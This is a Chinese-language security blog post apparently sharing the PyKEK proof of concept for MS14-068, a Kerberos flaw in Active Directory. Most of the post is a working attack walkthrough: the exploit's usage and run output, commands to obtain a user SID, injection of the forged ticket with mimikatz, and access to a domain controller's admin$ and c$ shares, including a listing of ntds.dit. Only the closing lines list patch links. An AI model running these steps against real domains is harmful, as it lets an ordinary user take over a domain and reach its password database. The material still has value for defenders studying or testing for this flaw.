

MS14-068 privilege escalation PoC

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数日前 安全脉搏播报了《[MS14-068 Kerberos Domain Privilege Escalation](#)》，安全运维和渗透师必关注的一个漏洞，该漏洞可能允许攻击者提升普通域用户账户为域管理员账户。

老外在[github](#)给出了一个POC，先分享如下：



Python Kerberos Exploitation Kit

PyKEK (Python Kerberos Exploitation Kit), a python library to manipulate KRB5-related data. (Still in development)

For now, only a few functionalities have been implemented (in a quite Quick'n'Dirty way) to exploit [MS14-068 \(CVE-2014-6324\)](#) .

More is coming...

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Library content

kek.krb5: Kerberos V5 (RFC 4120) ASN.1 structures and basic protocol functions
kek.ccache: Credential Cache Binary Format (ccache)
kek.pac: Microsoft Privilege Attribute Certificate Data Structure (MS-PAC)
kek.crypto: Kerberos and MS specific cryptographic functions

Exploits

ms14-068.py

Exploits MS14-680 vulnerability on an un-patched domain controller of an Active Directory domain to get a Kerberos ticket for an existing domain user account with the privileges of the following domain groups :

- Domain Users (513)
- Domain Admins (512)
- Schema Admins (518)
- Enterprise Admins (519)
- Group Policy Creator Owners (520)

Usage :

USAGE:

```
ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControllerAddr>
```

OPTIONS:

```
-p <clearPassword>  
--rc4 <ntlmHash>
```

Example usage :

Linux (tested with samba and MIT Kerberos)

```
root@kali:~/sploit/pykek# python ms14-068.py -u user-a-1@dom-a.loc -s S-1-5-21-557603841-771695929-1514560  
Password:  
[+] Building AS-REQ for dc-a-2003.dom-a.loc... Done!  
[+] Sending AS-REQ to dc-a-2003.dom-a.loc... Done!  
[+] Receiving AS-REP from dc-a-2003.dom-a.loc... Done!  
[+] Parsing AS-REP from dc-a-2003.dom-a.loc... Done!  
[+] Building TGS-REQ for dc-a-2003.dom-a.loc... Done!  
[+] Sending TGS-REQ to dc-a-2003.dom-a.loc... Done!  
[+] Receiving TGS-REP from dc-a-2003.dom-a.loc... Done!  
[+] Parsing TGS-REP from dc-a-2003.dom-a.loc... Done!  
[+] Creating ccache file 'TGT_user-a-1@dom-a.loc.ccache'... Done!
```

```
root@kali:~/sploit/pykek# mv TGT_user-a-1@dom-a.loc.ccache /tmp/krb5cc_0
```

On Windows

```
python.exe ms14-068.py -u user-a-1@dom-a.loc -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-200  
mimikatz.exe "kerberos::ptc TGT_user-a-1@dom-a.loc.ccache" exit
```

SID获取方法：

1)wmic useraccount where name="USERNAME" get sid

2)whoami /all 本机可以直接查出自己的SID；

胖编想 在未及时patch的内网内是不是要如鱼得水 随意穿插呢？那么内网渗透门槛又被拉低了？

为不能访问github的小朋友们提供[百度网盘链接](#)，胖编这么贴心，应该能骗得主编表侄女的欢心了吧，想想就开心，想想就自信。

测试

Update:

1) use ms14-068.py

```
ms14-068.py -u secpulse@secpulse.local -s S-1-5-21-3653881884-3918934852-1693569208-8965 -d DC2.secpulse.local
```

Password:

```
[+] Building AS-REQ for DC2.secpulse.local... Done!  
[+] Sending AS-REQ to DC2.secpulse.local... Done!  
[+] Receiving AS-REP from DC2.secpulse.local... Done!  
[+] Parsing AS-REP from DC2.secpulse.local... Done!  
[+] Building TGS-REQ for DC2.secpulse.local... Done!  
[+] Sending TGS-REQ to DC2.secpulse.local... Done!  
[+] Receiving TGS-REP from DC2.secpulse.local... Done!  
[+] Parsing TGS-REP from DC2.secpulse.local... Done!  
[+] Creating ccache file 'TGT_secpulse@secpulse.local.ccache'... Done!
```

2)put your TGT_secpulse@secpulse.local.ccache file into mimikatz directory

最新版本的mimikatz才支持kerberos::ptc模块，下载地址：

<https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20141120>

否则会出现

ERROR mimikatz_doLocal ; "ptc" command of "kerberos" module not found !

3)新版本执行

mimikatz.exe log "kerberos::ptc TGT_secpulse@secpulse.local.ccache" exit

Using 'mimikatz.log' for logfile : OK

mimikatz(commandline) # kerberos::ptc TGT_secpulse@secpulse.local.ccache

Principal : (01) : secpulse ; @ SECPULSE.LOCAL

Data 0

Start/End/MaxRenew: 2014/12/7 9:43:01 ; 2014/12/7 19:43:01 ; 2014/12/14 9:43:01

Service Name (01) : krbtgt ; SECPULSE.LOCAL ; @ SECPULSE.LOCAL

Target Name (01) : krbtgt ; SECPULSE.LOCAL ; @ SECPULSE.LOCAL

Client Name (01) : secpulse ; @ SECPULSE.LOCAL

Flags 50a10000 : name_canonicalize ; pre_authent ; renewable ; proxiable ; forwardable ;

Session Key : 0x00000017 - rc4_hmac_nt

1af2c0401238d0346b5456788atf1140

Ticket : 0x00000000 - null ; kvno = 2 [...]

* Injecting ticket : OK

mimikatz(commandline) # exit

Bye!

4)如果injecte成功 你有可能获得到了域管理session

那么klist看一下是否有了kerberos Ticket

那么 测试一下

net use \\DC2.secpulse.local\admin\$ //注:使用IP可能会失败

dir \\DC2.secpulse.local\c\$ 看看有木有权限 好运~

备注：

测试环境：

win7，在xp下mimikatz会出错

python2.7，使用更高版本比如python3.3脚本会报错

在本机以local admin登录，如果以域用户登录提权会失败

如果在以上操作下仍然失败，建议重启主机，并用域管理员在域内新建普通用户，以新建用户的用户名密码执行python脚本

```

C:\Windows\system32>klist
Current LogonId is 0:0x2f5edd
Cached Tickets: (0)

C:\Windows\system32>c:\temp\mimikatz\minikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
t
.#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 20 2014 01:35:45)
.## ^ ##.
## \ / ## /* * *
## \ / ## Benjamin DELPY 'gentilkiwi' ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 15 modules * * */

mimikatz(commandline) # kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache
Principal : (01) : darthsidious ; @ LAB.ADSECURITY.ORG
Data 0
Start/End/MaxRenew: 12/7/2014 3:10:30 PM ; 12/8/2014 1:10:30 AM ; 12/14/2014 3:10:30 PM
Service Name (01) : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Target Name (01) : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Client Name (01) : darthsidious ; @ LAB.ADSECURITY.ORG
Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ;
Session Key : 0x00000017 - rc4_hmac_nt
af5e7b47316c4cebae0a7ead04059799
Ticket : 0x00000000 - null ; kvno = 2 [...]
* Injecting ticket : OK

mimikatz(commandline) # exit
Bye!

C:\Windows\system32>klist
Current LogonId is 0:0x2f5edd
Cached Tickets: (1)
#0> Client: darthsidious @ LAB.ADSECURITY.ORG
Server: krbtgt/LAB.ADSECURITY.ORG @ LAB.ADSECURITY.ORG
KerberosTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x50a00000 -> forwardable proxiable renewable pre_authent
Start Time: 12/7/2014 15:10:30 (local)
End Time: 12/8/2014 1:10:30 (local)
Renew Time: 12/14/2014 15:10:30 (local)
Session Key Type: RSADSI RC4-HMAC(NT)

C:\Windows\system32>net use \\adsrc02.lab.adsecurity.org\admin$
The command completed successfully.

C:\Windows\system32>net use k: \\adsrc02.lab.adsecurity.org\c$
The command completed successfully.

C:\Windows\system32>dir k:\windows\ntds
Volume in drive K has no label.
Volume Serial Number is D0FF-D5BA

Directory of k:\windows\ntds
12/07/2014 02:58 PM <DIR> -
12/07/2014 02:58 PM <DIR> ..
12/07/2014 03:03 PM 8,192 edb.chk
12/07/2014 02:58 PM 10,485,760 edb.log
12/07/2014 11:53 AM 10,485,760 edb00003.log
12/07/2014 11:37 AM 10,485,760 edbres00001.jrs
12/07/2014 11:37 AM 10,485,760 edbres00002.jrs
12/07/2014 02:58 PM 23,085,056 ntds.dit
12/07/2014 02:58 PM 2,113,536 temp.edb
7 File(s) 67,149,824 bytes
2 Dir(s) 205,249,773,568 bytes free

C:\Windows\system32>whoami
ad:\wkwin\admin

```

老外这篇是以 local admin (not with AD domain credentials) 登陆的，成功获得域控机器权限。

[Windows Server 2012 安全更新程序 \(KB3006226\)](#)

[Windows Server 2012 安全更新程序 \(KB3010788\)](#)

[Windows Server 2012 安全更新程序 \(KB3002885\)](#)

打了patch的暂时就没办法利用啦。